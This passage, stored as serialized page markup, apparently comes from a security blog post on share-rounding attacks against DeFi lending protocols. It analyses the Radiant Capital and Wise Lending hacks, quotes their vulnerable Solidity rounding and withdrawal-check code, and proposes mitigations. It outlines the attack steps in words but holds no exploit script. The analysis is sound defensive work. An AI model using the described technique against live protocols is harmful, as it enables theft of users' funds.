mitigations.",[11344],{"src":51480},"/posts/rounding-bugs/cover.png","2024-01-18",{"type":21,"children":51483,"toc":52616},[51484,51488,51516,51521,51534,51539,51545,51550,51555,51560,51565,51578,51590,51610,51630,51635,51640,51658,51664,51669,51675,51689,51702,51707,51713,51727,51732,51754,51987,51992,51997,52010,52249,52259,52264,52270,52275,52280,52313,52318,52329,52335,52340,52354,52482,52496,52572,52577,52588,52593,52598,52602,52607,52612],{"type":24,"tag":32,"props":51485,"children":51486},{"id":34617},[51487],{"type":29,"value":34620},{"type":24,"tag":25,"props":51489,"children":51490},{},[51491,51493,51500,51501,51508,51510,51515],{"type":29,"value":51492},"Recently, there's been a series of attacks exploiting share rounding against lending protocols. Rounding attacks are already known to developers on ",{"type":24,"tag":2773,"props":51494,"children":51497},{"href":51495,"rel":51496},"https://neodyme.io/de/blog/lending_disclosure",[2777],[51498],{"type":29,"value":51499},"fast",{"type":29,"value":546},{"type":24,"tag":2773,"props":51502,"children":51505},{"href":51503,"rel":51504},"https://osec.io/blog/2022-04-26-spl-swap-rounding",[2777],[51506],{"type":29,"value":51507},"cheap",{"type":29,"value":51509}," chains with high-value tokens. These attacks are novel in that they also work against low-value tokens on expensive chains. ",{"type":24,"tag":8545,"props":51511,"children":51512},{},[51513],{"type":29,"value":51514},"Most people haven't considered what happens when shares are worth a lot",{"type":29,"value":87},{"type":24,"tag":25,"props":51517,"children":51518},{},[51519],{"type":29,"value":51520},"Much of the previous discourse has mischaracterized the rootcause of these hacks. For example, the presence of flashloans is largely irrelevant. At a high level, these attacks only require two key steps:",{"type":24,"tag":2674,"props":51522,"children":51523},{},[51524,51529],{"type":24,"tag":2678,"props":51525,"children":51526},{},[51527],{"type":29,"value":51528},"Inflate share value (token to share conversion rate)",{"type":24,"tag":2678,"props":51530,"children":51531},{},[51532],{"type":29,"value":51533},"Exploit rounding bug",{"type":24,"tag":25,"props":51535,"children":51536},{},[51537],{"type":29,"value":51538},"In this blog post, we explore these attacks in detail and provide potential mitigations.",{"type":24,"tag":32,"props":51540,"children":51542},{"id":51541},"model",[51543],{"type":29,"value":51544},"Model",{"type":24,"tag":25,"props":51546,"children":51547},{},[51548],{"type":29,"value":51549},"Before we dive in, there's some helpful background information we'll share first.",{"type":24,"tag":25,"props":51551,"children":51552},{},[51553],{"type":29,"value":51554},"A common form of accounting is the share and token model. When a user deposits a token, they receive back shares. Shares can accrue value, whether through interest or protocol fees.",{"type":24,"tag":25,"props":51556,"children":51557},{},[51558],{"type":29,"value":51559},"When users want to withdraw their tokens, they burn shares and receive the corresponding amount of tokens back. This is nice in theory. Unfortunately, in the real world, we have fixed precision. You can't have 1.01 shares, it needs to be either one or two. Which way should we round?",{"type":24,"tag":25,"props":51561,"children":51562},{},[51563],{"type":29,"value":51564},"This question is more complex than it may appear. Let's walk through an example.",{"type":24,"tag":25,"props":51566,"children":51567},{},[51568,51570,51576],{"type":29,"value":51569},"Say we initialize shares and tokens in a one-to-one ratio. After an initial deposit of 1000 tokens, the pool state is ",{"type":24,"tag":80,"props":51571,"children":51573},{"className":51572},[],[51574],{"type":29,"value":51575},"1000:1000",{"type":29,"value":51577}," (1000 tokens to 1000 shares).",{"type":24,"tag":25,"props":51579,"children":51580},{},[51581,51583,51589],{"type":29,"value":51582},"After accruing fees, the pool gains one token for a new ratio of ",{"type":24,"tag":80,"props":51584,"children":51586},{"className":51585},[],[51587],{"type":29,"value":51588},"1001:1000",{"type":29,"value":87},{"type":24,"tag":25,"props":51591,"children":51592},{},[51593,51595,51601,51603,51608],{"type":29,"value":51594},"How many tokens should we get back when withdrawing 999 shares? The real answer is ",{"type":24,"tag":80,"props":51596,"children":51598},{"className":51597},[],[51599],{"type":29,"value":51600},"1001/1000*999 = 999.999",{"type":29,"value":51602},". Unfortunately, we can only send the user 1000 or 999 tokens. For now, let's assume we round ",{"type":24,"tag":8545,"props":51604,"children":51605},{},[51606],{"type":29,"value":51607},"down",{"type":29,"value":51609}," against the user.",{"type":24,"tag":25,"props":51611,"children":51612},{},[51613,51615,51621,51623,51629],{"type":29,"value":51614},"If we give the user 999 tokens, the new pool state is ",{"type":24,"tag":80,"props":51616,"children":51618},{"className":51617},[],[51619],{"type":29,"value":51620},"2:1",{"type":29,"value":51622},". The value of a share doubled! What happens if we deposit 1 more token? We'll get back zero shares, further inflating the ratio to ",{"type":24,"tag":80,"props":51624,"children":51626},{"className":51625},[],[51627],{"type":29,"value":51628},"3:1",{"type":29,"value":87},{"type":24,"tag":25,"props":51631,"children":51632},{},[51633],{"type":29,"value":51634},"Small decisions like rounding direction can have a big impact on share valuation. Generally, share valuation isn't a strict security boundary.",{"type":24,"tag":25,"props":51636,"children":51637},{},[51638],{"type":29,"value":51639},"The above is a bit of a simplification. In practice, there are several protocol-specific design decisions:",{"type":24,"tag":2674,"props":51641,"children":51642},{},[51643,51648,51653],{"type":24,"tag":2678,"props":51644,"children":51645},{},[51646],{"type":29,"value":51647},"Can you deposit and receive back zero shares? If not, you'll need to spend more effort to exploit the rounding error",{"type":24,"tag":2678,"props":51649,"children":51650},{},[51651],{"type":29,"value":51652},"When you withdraw, are you withdrawing shares or tokens?",{"type":24,"tag":2678,"props":51654,"children":51655},{},[51656],{"type":29,"value":51657},"Can you directly manipulate pool state by sending tokens? Hopefully not.",{"type":24,"tag":32,"props":51659,"children":51661},{"id":51660},"decisions",[51662],{"type":29,"value":51663},"Decisions",{"type":24,"tag":25,"props":51665,"children":51666},{},[51667],{"type":29,"value":51668},"Let's assume that we're able to inflate the value of a share. How can we actually exploit this?",{"type":24,"tag":43,"props":51670,"children":51672},{"id":51671},"radiant-capital",[51673],{"type":29,"value":51674},"Radiant Capital",{"type":24,"tag":25,"props":51676,"children":51677},{},[51678,51680,51687],{"type":29,"value":51679},"Radiant Capital was ",{"type":24,"tag":2773,"props":51681,"children":51684},{"href":51682,"rel":51683},"https://arbiscan.io/tx/0x1ce7e9a9e3b6dd3293c9067221ac3260858ce119ecb7ca860eac28b2474c7c9b",[2777],[51685],{"type":29,"value":51686},"hacked on Jan 2nd",{"type":29,"value":51688}," for about $4.5M. This was the original example of exploiting rounding on otherwise inconsequential shares.",{"type":24,"tag":25,"props":51690,"children":51691},{},[51692,51694,51701],{"type":29,"value":51693},"The exploit is relatively straightforward and ",{"type":24,"tag":2773,"props":51695,"children":51698},{"href":51696,"rel":51697},"https://medium.com/@_kcyw/radiant-capital-hack-explained-1633289be150",[2777],[51699],{"type":29,"value":51700},"has already been covered previously",{"type":29,"value":87},{"type":24,"tag":25,"props":51703,"children":51704},{},[51705],{"type":29,"value":51706},"At a high level, this exploit is exactly what you'd expect. If shares were worth $1000 each, and the user tried to withdraw $1999, they only needed to burn one share. Free money.",{"type":24,"tag":43,"props":51708,"children":51710},{"id":51709},"wise-lending",[51711],{"type":29,"value":51712},"Wise Lending",{"type":24,"tag":25,"props":51714,"children":51715},{},[51716,51718,51725],{"type":29,"value":51717},"Wise Lending was ",{"type":24,"tag":2773,"props":51719,"children":51722},{"href":51720,"rel":51721},"https://etherscan.io/tx/0x04e16a79ff928db2fa88619cdd045cdfc7979a61d836c9c9e585b3d6f6d8bc31",[2777],[51723],{"type":29,"value":51724},"hacked on January 13th",{"type":29,"value":51726}," for just under $460,000.",{"type":24,"tag":25,"props":51728,"children":51729},{},[51730],{"type":29,"value":51731},"Again, share prices were inflated artificially high. However, the rounding direction seemed to be correct. This was a new variant.",{"type":24,"tag":25,"props":51733,"children":51734},{},[51735,51737,51744,51746,51753],{"type":29,"value":51736},"This is ",{"type":24,"tag":2773,"props":51738,"children":51741},{"href":51739,"rel":51740},"https://etherscan.io/address/0x829c3AE2e82760eCEaD0F384918a650F8a31Ba18",[2777],[51742],{"type":29,"value":51743},"the code responsible",{"type":29,"value":51745}," for checking if a withdrawal is valid. As a hint, a critical invariant for lending protocols is that there's ",{"type":24,"tag":2773,"props":51747,"children":51750},{"href":51748,"rel":51749},"https://www.chainalysis.com/blog/euler-finance-flash-loan-attack/",[2777],[51751],{"type":29,"value":51752},"no way to atomically self-bankrupt",{"type":29,"value":87},{"type":24,"tag":137,"props":51755,"children":51757},{"className":10099,"code":51756,"language":10098,"meta":7,"style":7},"uint256 withdrawValue = WISE_ORACLE.getTokensInETH(\n    _poolToken,\n    _amount\n)\n    * WISE_LENDING.lendingPoolData(_poolToken).collateralFactor\n    / PRECISION_FACTOR_E18;\n\nbool state = borrowPercentageCap\n    * (overallETHCollateralsWeighted(_nftId) - withdrawValue)\n    / PRECISION_FACTOR_E18\n    \u003C borrowAmount;\n\nif (state == true) {\n    revert ResultsInBadDebt();\n}\n",[51758],{"type":24,"tag":80,"props":51759,"children":51760},{"__ignoreMap":7},[51761,51792,51800,51808,51815,51837,51850,51857,51878,51908,51920,51932,51939,51963,51980],{"type":24,"tag":147,"props":51762,"children":51763},{"class":149,"line":150},[51764,51769,51774,51778,51783,51788],{"type":24,"tag":147,"props":51765,"children":51766},{"style":9044},[51767],{"type":29,"value":51768},"uint256",{"type":24,"tag":147,"props":51770,"children":51771},{"style":235},[51772],{"type":29,"value":51773}," withdrawValue ",{"type":24,"tag":147,"props":51775,"children":51776},{"style":241},[51777],{"type":29,"value":369},{"type":24,"tag":147,"props":51779,"children":51780},{"style":235},[51781],{"type":29,"value":51782}," WISE_ORACLE.",{"type":24,"tag":147,"props":51784,"children":51785},{"style":229},[51786],{"type":29,"value":51787},"getTokensInETH",{"type":24,"tag":147,"props":51789,"children":51790},{"style":235},[51791],{"type":29,"value":9088},{"type":24,"tag":147,"props":51793,"children":51794},{"class":149,"line":160},[51795],{"type":24,"tag":147,"props":51796,"children":51797},{"style":235},[51798],{"type":29,"value":51799},"    _poolToken,\n",{"type":24,"tag":147,"props":51801,"children":51802},{"class":149,"line":169},[51803],{"type":24,"tag":147,"props":51804,"children":51805},{"style":235},[51806],{"type":29,"value":51807},"    _amount\n",{"type":24,"tag":147,"props":51809,"children":51810},{"class":149,"line":178},[51811],{"type":24,"tag":147,"props":51812,"children":51813},{"style":235},[51814],{"type":29,"value":269},{"type":24,"tag":147,"props":51816,"children":51817},{"class":149,"line":187},[51818,51822,51827,51832],{"type":24,"tag":147,"props":51819,"children":51820},{"style":241},[51821],{"type":29,"value":23167},{"type":24,"tag":147,"props":51823,"children":51824},{"style":235},[51825],{"type":29,"value":51826}," WISE_LENDING.",{"type":24,"tag":147,"props":51828,"children":51829},{"style":229},[51830],{"type":29,"value":51831},"lendingPoolData",{"type":24,"tag":147,"props":51833,"children":51834},{"style":235},[51835],{"type":29,"value":51836},"(_poolToken).collateralFactor\n",{"type":24,"tag":147,"props":51838,"children":51839},{"class":149,"line":196},[51840,51845],{"type":24,"tag":147,"props":51841,"children":51842},{"style":241},[51843],{"type":29,"value":51844},"    /",{"type":24,"tag":147,"props":51846,"children":51847},{"style":235},[51848],{"type":29,"value":51849}," PRECISION_FACTOR_E18;\n",{"type":24,"tag":147,"props":51851,"children":51852},{"class":149,"line":205},[51853],{"type":24,"tag":147,"props":51854,"children":51855},{"emptyLinePlaceholder":16},[51856],{"type":29,"value":314},{"type":24,"tag":147,"props":51858,"children":51859},{"class":149,"line":214},[51860,51864,51869,51873],{"type":24,"tag":147,"props":51861,"children":51862},{"style":9044},[51863],{"type":29,"value":35286},{"type":24,"tag":147,"props":51865,"children":51866},{"style":235},[51867],{"type":29,"value":51868}," state ",{"type":24,"tag":147,"props":51870,"children":51871},{"style":241},[51872],{"type":29,"value":369},{"type":24,"tag":147,"props":51874,"children":51875},{"style":235},[51876],{"type":29,"value":51877}," borrowPercentageCap\n",{"type":24,"tag":147,"props":51879,"children":51880},{"class":149,"line":272},[51881,51885,51889,51894,51899,51903],{"type":24,"tag":147,"props":51882,"children":51883},{"style":241},[51884],{"type":29,"value":23167},{"type":24,"tag":147,"props":51886,"children":51887},{"style":235},[51888],{"type":29,"value":408},{"type":24,"tag":147,"props":51890,"children":51891},{"style":229},[51892],{"type":29,"value":51893},"overallETHCollateralsWeighted",{"type":24,"tag":147,"props":51895,"children":51896},{"style":235},[51897],{"type":29,"value":51898},"(_nftId) ",{"type":24,"tag":147,"props":51900,"children":51901},{"style":241},[51902],{"type":29,"value":3470},{"type":24,"tag":147,"props":51904,"children":51905},{"style":235},[51906],{"type":29,"value":51907}," withdrawValue)\n",{"type":24,"tag":147,"props":51909,"children":51910},{"class":149,"line":281},[51911,51915],{"type":24,"tag":147,"props":51912,"children":51913},{"style":241},[51914],{"type":29,"value":51844},{"type":24,"tag":147,"props":51916,"children":51917},{"style":235},[51918],{"type":29,"value":51919}," PRECISION_FACTOR_E18\n",{"type":24,"tag":147,"props":51921,"children":51922},{"class":149,"line":299},[51923,51927],{"type":24,"tag":147,"props":51924,"children":51925},{"style":241},[51926],{"type":29,"value":38046},{"type":24,"tag":147,"props":51928,"children":51929},{"style":235},[51930],{"type":29,"value":51931}," borrowAmount;\n",{"type":24,"tag":147,"props":51933,"children":51934},{"class":149,"line":308},[51935],{"type":24,"tag":147,"props":51936,"children":51937},{"emptyLinePlaceholder":16},[51938],{"type":29,"value":314},{"type":24,"tag":147,"props":51940,"children":51941},{"class":149,"line":317},[51942,51946,51951,51955,51959],{"type":24,"tag":147,"props":51943,"children":51944},{"style":321},[51945],{"type":29,"value":21191},{"type":24,"tag":147,"props":51947,"children":51948},{"style":235},[51949],{"type":29,"value":51950}," (state ",{"type":24,"tag":147,"props":51952,"children":51953},{"style":241},[51954],{"type":29,"value":6600},{"type":24,"tag":147,"props":51956,"children":51957},{"style":218},[51958],{"type":29,"value":18087},{"type":24,"tag":147,"props":51960,"children":51961},{"style":235},[51962],{"type":29,"value":505},{"type":24,"tag":147,"props":51964,"children":51965},{"class":149,"line":332},[51966,51971,51976],{"type":24,"tag":147,"props":51967,"children":51968},{"style":321},[51969],{"type":29,"value":51970},"    revert",{"type":24,"tag":147,"props":51972,"children":51973},{"style":229},[51974],{"type":29,"value":51975}," ResultsInBadDebt",{"type":24,"tag":147,"props":51977,"children":51978},{"style":235},[51979],{"type":29,"value":9295},{"type":24,"tag":147,"props":51981,"children":51982},{"class":149,"line":350},[51983],{"type":24,"tag":147,"props":51984,"children":51985},{"style":235},[51986],{"type":29,"value":827},{"type":24,"tag":25,"props":51988,"children":51989},{},[51990],{"type":29,"value":51991},"The critical observation is that this code operates on token amounts, while the internal accounting necessarily operates on shares.",{"type":24,"tag":25,"props":51993,"children":51994},{},[51995],{"type":29,"value":51996},"Consider: you have one share worth $1000 and (correctly) can borrow $500. If you tried to withdraw $1, the code would round up to withdraw your one share worth $1000, causing you to be immediately liquidatable!",{"type":24,"tag":25,"props":51998,"children":51999},{},[52000,52002,52008],{"type":29,"value":52001},"And indeed, ",{"type":24,"tag":2773,"props":52003,"children":52006},{"href":52004,"rel":52005},"https://etherscan.io/address/0x37e49bf3749513A02FA535F0CbC383796E8107E4",[2777],[52007],{"type":29,"value":51712},{"type":29,"value":52009}," rounds up the share value.",{"type":24,"tag":137,"props":52011,"children":52013},{"className":10099,"code":52012,"language":10098,"meta":7,"style":7},"function _calculateShares(\n    uint256 _product,\n    uint256 _pseudo,\n    bool _maxSharePrice\n)\n    private\n    pure\n    returns (uint256)\n{\n    return _maxSharePrice == true\n        ? _product % _pseudo == 0\n            ? _product / _pseudo\n            : _product / _pseudo + 1\n        : _product / _pseudo;\n}\n",[52014],{"type":24,"tag":80,"props":52015,"children":52016},{"__ignoreMap":7},[52017,52033,52050,52066,52078,52085,52093,52101,52121,52128,52149,52170,52192,52221,52242],{"type":24,"tag":147,"props":52018,"children":52019},{"class":149,"line":150},[52020,52024,52029],{"type":24,"tag":147,"props":52021,"children":52022},{"style":218},[52023],{"type":29,"value":36978},{"type":24,"tag":147,"props":52025,"children":52026},{"style":229},[52027],{"type":29,"value":52028}," _calculateShares",{"type":24,"tag":147,"props":52030,"children":52031},{"style":235},[52032],{"type":29,"value":9088},{"type":24,"tag":147,"props":52034,"children":52035},{"class":149,"line":160},[52036,52041,52046],{"type":24,"tag":147,"props":52037,"children":52038},{"style":9044},[52039],{"type":29,"value":52040},"    uint256",{"type":24,"tag":147,"props":52042,"children":52043},{"style":247},[52044],{"type":29,"value":52045}," _product",{"type":24,"tag":147,"props":52047,"children":52048},{"style":235},[52049],{"type":29,"value":1549},{"type":24,"tag":147,"props":52051,"children":52052},{"class":149,"line":169},[52053,52057,52062],{"type":24,"tag":147,"props":52054,"children":52055},{"style":9044},[52056],{"type":29,"value":52040},{"type":24,"tag":147,"props":52058,"children":52059},{"style":247},[52060],{"type":29,"value":52061}," _pseudo",{"type":24,"tag":147,"props":52063,"children":52064},{"style":235},[52065],{"type":29,"value":1549},{"type":24,"tag":147,"props":52067,"children":52068},{"class":149,"line":178},[52069,52073],{"type":24,"tag":147,"props":52070,"children":52071},{"style":9044},[52072],{"type":29,"value":1085},{"type":24,"tag":147,"props":52074,"children":52075},{"style":247},[52076],{"type":29,"value":52077}," _maxSharePrice\n",{"type":24,"tag":147,"props":52079,"children":52080},{"class":149,"line":187},[52081],{"type":24,"tag":147,"props":52082,"children":52083},{"style":235},[52084],{"type":29,"value":269},{"type":24,"tag":147,"props":52086,"children":52087},{"class":149,"line":196},[52088],{"type":24,"tag":147,"props":52089,"children":52090},{"style":218},[52091],{"type":29,"value":52092},"    private\n",{"type":24,"tag":147,"props":52094,"children":52095},{"class":149,"line":205},[52096],{"type":24,"tag":147,"props":52097,"children":52098},{"style":218},[52099],{"type":29,"value":52100},"    pure\n",{"type":24,"tag":147,"props":52102,"children":52103},{"class":149,"line":214},[52104,52109,52113,52117],{"type":24,"tag":147,"props":52105,"children":52106},{"style":321},[52107],{"type":29,"value":52108},"    returns",{"type":24,"tag":147,"props":52110,"children":52111},{"style":235},[52112],{"type":29,"value":408},{"type":24,"tag":147,"props":52114,"children":52115},{"style":9044},[52116],{"type":29,"value":51768},{"type":24,"tag":147,"props":52118,"children":52119},{"style":235},[52120],{"type":29,"value":269},{"type":24,"tag":147,"props":52122,"children":52123},{"class":149,"line":272},[52124],{"type":24,"tag":147,"props":52125,"children":52126},{"style":235},[52127],{"type":29,"value":278},{"type":24,"tag":147,"props":52129,"children":52130},{"class":149,"line":281},[52131,52135,52140,52144],{"type":24,"tag":147,"props":52132,"children":52133},{"style":321},[52134],{"type":29,"value":2597},{"type":24,"tag":147,"props":52136,"children":52137},{"style":235},[52138],{"type":29,"value":52139}," _maxSharePrice ",{"type":24,"tag":147,"props":52141,"children":52142},{"style":241},[52143],{"type":29,"value":6600},{"type":24,"tag":147,"props":52145,"children":52146},{"style":218},[52147],{"type":29,"value":52148}," true\n",{"type":24,"tag":147,"props":52150,"children":52151},{"class":149,"line":299},[52152,52157,52162,52166],{"type":24,"tag":147,"props":52153,"children":52154},{"style":241},[52155],{"type":29,"value":52156},"        ?",{"type":24,"tag":147,"props":52158,"children":52159},{"style":235},[52160],{"type":29,"value":52161}," _product % _pseudo ",{"type":24,"tag":147,"props":52163,"children":52164},{"style":241},[52165],{"type":29,"value":6600},{"type":24,"tag":147,"props":52167,"children":52168},{"style":705},[52169],{"type":29,"value":29879},{"type":24,"tag":147,"props":52171,"children":52172},{"class":149,"line":308},[52173,52178,52183,52187],{"type":24,"tag":147,"props":52174,"children":52175},{"style":241},[52176],{"type":29,"value":52177},"            ?",{"type":24,"tag":147,"props":52179,"children":52180},{"style":235},[52181],{"type":29,"value":52182}," _product ",{"type":24,"tag":147,"props":52184,"children":52185},{"style":241},[52186],{"type":29,"value":10204},{"type":24,"tag":147,"props":52188,"children":52189},{"style":235},[52190],{"type":29,"value":52191}," _pseudo\n",{"type":24,"tag":147,"props":52193,"children":52194},{"class":149,"line":317},[52195,52200,52204,52208,52213,52217],{"type":24,"tag":147,"props":52196,"children":52197},{"style":241},[52198],{"type":29,"value":52199},"            :",{"type":24,"tag":147,"props":52201,"children":52202},{"style":235},[52203],{"type":29,"value":52182},{"type":24,"tag":147,"props":52205,"children":52206},{"style":241},[52207],{"type":29,"value":10204},{"type":24,"tag":147,"props":52209,"children":52210},{"style":235},[52211],{"type":29,"value":52212}," _pseudo ",{"type":24,"tag":147,"props":52214,"children":52215},{"style":241},[52216],{"type":29,"value":624},{"type":24,"tag":147,"props":52218,"children":52219},{"style":705},[52220],{"type":29,"value":25047},{"type":24,"tag":147,"props":52222,"children":52223},{"class":149,"line":332},[52224,52229,52233,52237],{"type":24,"tag":147,"props":52225,"children":52226},{"style":241},[52227],{"type":29,"value":52228},"        :",{"type":24,"tag":147,"props":52230,"children":52231},{"style":235},[52232],{"type":29,"value":52182},{"type":24,"tag":147,"props":52234,"children":52235},{"style":241},[52236],{"type":29,"value":10204},{"type":24,"tag":147,"props":52238,"children":52239},{"style":235},[52240],{"type":29,"value":52241}," _pseudo;\n",{"type":24,"tag":147,"props":52243,"children":52244},{"class":149,"line":350},[52245],{"type":24,"tag":147,"props":52246,"children":52247},{"style":235},[52248],{"type":29,"value":827},{"type":24,"tag":25,"props":52250,"children":52251},{},[52252,52257],{"type":24,"tag":8545,"props":52253,"children":52254},{},[52255],{"type":29,"value":52256},"Regardless of which way the share rounding occurs, this is a bug",{"type":29,"value":52258},". The correct way would be to do calculations in units of shares and force users to withdraw in increments of shares (and then round down the tokens ultimately received in the end).",{"type":24,"tag":25,"props":52260,"children":52261},{},[52262],{"type":29,"value":52263},"This is a really tricky invariant to reason about!",{"type":24,"tag":32,"props":52265,"children":52267},{"id":52266},"root-cause",[52268],{"type":29,"value":52269},"Root Cause",{"type":24,"tag":25,"props":52271,"children":52272},{},[52273],{"type":29,"value":52274},"Even though this sort of exploit seems pervasive, it requires quite a lot of factors to be exploitable.",{"type":24,"tag":25,"props":52276,"children":52277},{},[52278],{"type":29,"value":52279},"Most importantly, the share value needs to be inflatable. Usually, this requires an integer representation for both shares and tokens. The conversion rate also needs to be expressed in terms of the shares and tokens as opposed to being stored separately.",{"type":24,"tag":137,"props":52281,"children":52283},{"className":10099,"code":52282,"language":10098,"meta":7,"style":7},"totalDepositShares * _amount / pseudoTotalPool\n",[52284],{"type":24,"tag":80,"props":52285,"children":52286},{"__ignoreMap":7},[52287],{"type":24,"tag":147,"props":52288,"children":52289},{"class":149,"line":150},[52290,52295,52299,52304,52308],{"type":24,"tag":147,"props":52291,"children":52292},{"style":235},[52293],{"type":29,"value":52294},"totalDepositShares ",{"type":24,"tag":147,"props":52296,"children":52297},{"style":241},[52298],{"type":29,"value":244},{"type":24,"tag":147,"props":52300,"children":52301},{"style":235},[52302],{"type":29,"value":52303}," _amount ",{"type":24,"tag":147,"props":52305,"children":52306},{"style":241},[52307],{"type":29,"value":10204},{"type":24,"tag":147,"props":52309,"children":52310},{"style":235},[52311],{"type":29,"value":52312}," pseudoTotalPool\n",{"type":24,"tag":25,"props":52314,"children":52315},{},[52316],{"type":29,"value":52317},"The second critical requirement is a generally empty pool. Inflating the share value means that all other shares also rise in value. If there are shares that are not controlled by the attacker, this would mean giving other users free money, almost definitely stopping inflation attacks.",{"type":24,"tag":25,"props":52319,"children":52320},{},[52321,52323,52327],{"type":29,"value":52322},"Finally, there must be improper rounding or accounting. This last requirement is generally easiest to satisfy. Share rounding is a new attack vector, and people haven't thought carefully about proper treatment of dust. Have you analyzed ",{"type":24,"tag":8545,"props":52324,"children":52325},{},[52326],{"type":29,"value":25520},{"type":29,"value":52328}," integer division?",{"type":24,"tag":32,"props":52330,"children":52332},{"id":52331},"mitigations",[52333],{"type":29,"value":52334},"Mitigations",{"type":24,"tag":25,"props":52336,"children":52337},{},[52338],{"type":29,"value":52339},"The easiest way to prevent this attack is to prevent share values from being manipulated. An unexpectedly high share value can lead to denial of service scenarios and is probably worth mitigating by itself.",{"type":24,"tag":25,"props":52341,"children":52342},{},[52343,52345,52352],{"type":29,"value":52344},"The best way is to ensure that the pool has some amount of deposits on deployment, whether operationally or programmatically. As ",{"type":24,"tag":2773,"props":52346,"children":52349},{"href":52347,"rel":52348},"https://twitter.com/danielvf/status/1746306320553152615",[2777],[52350],{"type":29,"value":52351},"@danielvf notes",{"type":29,"value":52353},", protocols like Uniswap burn a portion of the initial deposit for this very reason.",{"type":24,"tag":137,"props":52355,"children":52357},{"className":10099,"code":52356,"language":10098,"meta":7,"style":7},"if (_totalSupply == 0) {\n    liquidity = Math.sqrt(amount0.mul(amount1)).sub(MINIMUM_LIQUIDITY);\n   _mint(address(0), MINIMUM_LIQUIDITY); // permanently lock the first MINIMUM_LIQUIDITY tokens\n} else {\n",[52358],{"type":24,"tag":80,"props":52359,"children":52360},{"__ignoreMap":7},[52361,52385,52432,52466],{"type":24,"tag":147,"props":52362,"children":52363},{"class":149,"line":150},[52364,52368,52373,52377,52381],{"type":24,"tag":147,"props":52365,"children":52366},{"style":321},[52367],{"type":29,"value":21191},{"type":24,"tag":147,"props":52369,"children":52370},{"style":235},[52371],{"type":29,"value":52372}," (_totalSupply ",{"type":24,"tag":147,"props":52374,"children":52375},{"style":241},[52376],{"type":29,"value":6600},{"type":24,"tag":147,"props":52378,"children":52379},{"style":705},[52380],{"type":29,"value":708},{"type":24,"tag":147,"props":52382,"children":52383},{"style":235},[52384],{"type":29,"value":505},{"type":24,"tag":147,"props":52386,"children":52387},{"class":149,"line":160},[52388,52393,52397,52402,52407,52412,52417,52422,52427],{"type":24,"tag":147,"props":52389,"children":52390},{"style":235},[52391],{"type":29,"value":52392},"    liquidity ",{"type":24,"tag":147,"props":52394,"children":52395},{"style":241},[52396],{"type":29,"value":369},{"type":24,"tag":147,"props":52398,"children":52399},{"style":235},[52400],{"type":29,"value":52401}," Math.",{"type":24,"tag":147,"props":52403,"children":52404},{"style":229},[52405],{"type":29,"value":52406},"sqrt",{"type":24,"tag":147,"props":52408,"children":52409},{"style":235},[52410],{"type":29,"value":52411},"(amount0.",{"type":24,"tag":147,"props":52413,"children":52414},{"style":229},[52415],{"type":29,"value":52416},"mul",{"type":24,"tag":147,"props":52418,"children":52419},{"style":235},[52420],{"type":29,"value":52421},"(amount1)).",{"type":24,"tag":147,"props":52423,"children":52424},{"style":229},[52425],{"type":29,"value":52426},"sub",{"type":24,"tag":147,"props":52428,"children":52429},{"style":235},[52430],{"type":29,"value":52431},"(MINIMUM_LIQUIDITY);\n",{"type":24,"tag":147,"props":52433,"children":52434},{"class":149,"line":169},[52435,52440,52444,52448,52452,52456,52461],{"type":24,"tag":147,"props":52436,"children":52437},{"style":229},[52438],{"type":29,"value":52439},"   _mint",{"type":24,"tag":147,"props":52441,"children":52442},{"style":235},[52443],{"type":29,"value":480},{"type":24,"tag":147,"props":52445,"children":52446},{"style":9044},[52447],{"type":29,"value":38241},{"type":24,"tag":147,"props":52449,"children":52450},{"style":235},[52451],{"type":29,"value":480},{"type":24,"tag":147,"props":52453,"children":52454},{"style":705},[52455],{"type":29,"value":3173},{"type":24,"tag":147,"props":52457,"children":52458},{"style":235},[52459],{"type":29,"value":52460},"), MINIMUM_LIQUIDITY); ",{"type":24,"tag":147,"props":52462,"children":52463},{"style":154},[52464],{"type":29,"value":52465},"// permanently lock the first MINIMUM_LIQUIDITY tokens\n",{"type":24,"tag":147,"props":52467,"children":52468},{"class":149,"line":178},[52469,52474,52478],{"type":24,"tag":147,"props":52470,"children":52471},{"style":235},[52472],{"type":29,"value":52473},"} ",{"type":24,"tag":147,"props":52475,"children":52476},{"style":321},[52477],{"type":29,"value":6625},{"type":24,"tag":147,"props":52479,"children":52480},{"style":235},[52481],{"type":29,"value":6630},{"type":24,"tag":25,"props":52483,"children":52484},{},[52485,52487,52494],{"type":29,"value":52486},"Alternatively, ",{"type":24,"tag":2773,"props":52488,"children":52491},{"href":52489,"rel":52490},"https://github.com/SynonymFinance/smart-contracts-public/blob/759c6afe45720e26d731f081dfc747787ad7ae20/evm/src/contracts/lendingHub/HubInterestUtilities.sol#L52-L53",[2777],[52492],{"type":29,"value":52493},"storing the conversion rate separately",{"type":29,"value":52495}," can also suffice. A key factor is that depositing additional tokens or burning shares affects the conversion rate. If the conversion rate is hardcoded and updated only during interest accrual, there's nothing to manipulate.",{"type":24,"tag":137,"props":52497,"children":52499},{"className":10099,"code":52498,"language":10098,"meta":7,"style":7},"accrualIndices.borrowed = accrualIndices.borrowed * borrowInterestFactor / precision;\naccrualIndices.deposited = accrualIndices.deposited * depositInterestFactor / precision;\n",[52500],{"type":24,"tag":80,"props":52501,"children":52502},{"__ignoreMap":7},[52503,52538],{"type":24,"tag":147,"props":52504,"children":52505},{"class":149,"line":150},[52506,52511,52515,52520,52524,52529,52533],{"type":24,"tag":147,"props":52507,"children":52508},{"style":235},[52509],{"type":29,"value":52510},"accrualIndices.borrowed ",{"type":24,"tag":147,"props":52512,"children":52513},{"style":241},[52514],{"type":29,"value":369},{"type":24,"tag":147,"props":52516,"children":52517},{"style":235},[52518],{"type":29,"value":52519}," accrualIndices.borrowed ",{"type":24,"tag":147,"props":52521,"children":52522},{"style":241},[52523],{"type":29,"value":244},{"type":24,"tag":147,"props":52525,"children":52526},{"style":235},[52527],{"type":29,"value":52528}," borrowInterestFactor ",{"type":24,"tag":147,"props":52530,"children":52531},{"style":241},[52532],{"type":29,"value":10204},{"type":24,"tag":147,"props":52534,"children":52535},{"style":235},[52536],{"type":29,"value":52537}," precision;\n",{"type":24,"tag":147,"props":52539,"children":52540},{"class":149,"line":160},[52541,52546,52550,52555,52559,52564,52568],{"type":24,"tag":147,"props":52542,"children":52543},{"style":235},[52544],{"type":29,"value":52545},"accrualIndices.deposited ",{"type":24,"tag":147,"props":52547,"children":52548},{"style":241},[52549],{"type":29,"value":369},{"type":24,"tag":147,"props":52551,"children":52552},{"style":235},[52553],{"type":29,"value":52554}," accrualIndices.deposited 